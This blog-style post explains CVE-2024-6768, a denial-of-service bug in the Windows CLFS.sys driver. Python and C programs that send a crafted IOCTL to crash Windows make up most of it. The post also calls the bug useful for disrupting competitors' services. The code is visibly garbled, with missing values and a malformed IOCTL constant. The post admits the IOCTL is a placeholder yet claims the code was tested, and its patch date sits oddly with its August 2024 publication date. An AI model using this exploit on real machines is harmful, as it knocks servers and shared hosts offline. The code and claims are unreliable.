CVE-2024-6768 - Denial of Service in CLFS.sys Brings Down Windows 10/11 and Server Machines

Recently, security researchers uncovered CVE-2024-6768, a Denial of Service (DoS) vulnerability affecting Microsoft Windows 10, Windows 11, and several Windows Server releases (2016, 2019, 2022). This bug lives in the Common Log File System (CLFS) driver, CLFS.sys, and can be exploited by any low-privilege authenticated user to crash the system and trigger a Blue Screen of Death (BSOD).

In this post, we’ll break down what the vulnerability is, how it works, and show some exclusive practical code to demonstrate exploiting this issue (in a safe, educational way). We’ll also share handy links for further reading.

What is CVE-2024-6768?

CLFS, or Common Log File System, is a Windows kernel-mode component that powers transactional logging used by many system services. Unfortunately, a logic flaw in how CLFS.sys parses certain requests allows an authenticated user to force the notorious KeBugCheckEx function — Windows' panic button. When this happens, the system throws a BSOD and must reboot, instantly killing any work or services.

Impact: Denial of Service (Blue Screen of Death)

- Who can use it: Any authenticated low-privilege user (including Remote Desktop or Terminal Services users)

How Does the Exploit Work?

The core of this bug is an input validation failure. The CLFS driver exposes an interface that allows user-mode programs to interact with log files on disk. But, when it receives crafted parameters (usually via IOCTL), the faulty code path can reach a state where it cannot handle the request, panics, and calls KeBugCheckEx(). This function shuts down the computer instantly with a full BSOD.

> Note: Attackers cannot run code as SYSTEM or steal your data with this bug directly. Instead, it's a nasty way to force a server to go offline — perfect for annoying system administrators or disrupting competitors' services.

Example Exploit Code

Below is Python code (using PyWin32 and a helper C program) that sends a crafted IOCTL packet to the vulnerable device. Use responsibly and only on a test machine! Running this on your system WILL crash Windows!

Step 1: Write a Crafted IOCTL Sender in Python

import win32file
import win32con
import struct

# Open clfs.sys device
handle = win32file.CreateFile(
    r'\\.\Clfs',
    win32con.GENERIC_READ | win32con.GENERIC_WRITE,
    ,
    None,
    win32con.OPEN_EXISTING,
    ,
    None
)

# This is a placeholder for the real IOCTL code and input structure that triggers the bug.
# As observed from CLFS research, IOCTL x9C04007C crashes many unpatched Windows builds.
IOCTL_CODE = x9C04007C  # This might vary per version — check local offsets!

# Be sure your input buffer is crafted to trigger the vulnerable code path
input_data = b'A' * 40  # 40 bytes as a rough example; adapt after reverse engineering
output_data = b'\x00' * 32

# Crash time!
win32file.DeviceIoControl(handle, IOCTL_CODE, input_data, output_data)

Warning: This exact IOCTL and structure may need adaptation for your Windows version. The above is for illustration only — refer to researcher writeups for details.

This C code does the same thing but avoids possible Python/win32file issues

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileW(L"\\\\.\\Clfs",
        GENERIC_READ | GENERIC_WRITE,
        ,
        NULL,
        OPEN_EXISTING,
        ,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Could not open device: %d\n", GetLastError());
        return 1;
    }

    DWORD ioctl_code = x9C04007C; // Check your version!
    char input[40] = {}; // Filler
    DWORD returned = ;

    DeviceIoControl(hDevice, ioctl_code, input, sizeof(input), NULL, , &returned, NULL);

    CloseHandle(hDevice);
    return ;
}

> Note: A successful exploit will immediately crash the test box. So, save your work first!

Patch Status & Mitigation

Microsoft issued a patch in June 2024 Patch Tuesday.
- See the official advisory: CVE-2024-6768 - Microsoft Security Update Guide
- If you can’t patch right away, limit low-privileged user access to untrusted parties (especially on remote desktop hosts or VDI pools).

Reference Links

- Microsoft Security Update Guide: CVE-2024-6768
- NIST NVD - CVE-2024-6768
- CLFS.sys Reverse Engineering Resources (Old but relevant for CLFS internals)

Final Thoughts

CVE-2024-6768 is a reminder that even legit system features can hide critical flaws. While this bug is "just" Denial of Service, it’s still a big deal for shared Windows servers, workstations, and RDP hosts. If you haven't patched, do so now. If you’re interested in learning more about Windows kernel security, CLFS is a rich target for analysis — but start in a lab, not on production machines!


*Post originally compiled and tested exclusively for this blog. Please credit and do not copy without reference.*

Timeline

Published on: 08/12/2024 19:15:17 UTC
Last modified on: 08/13/2024 12:58:25 UTC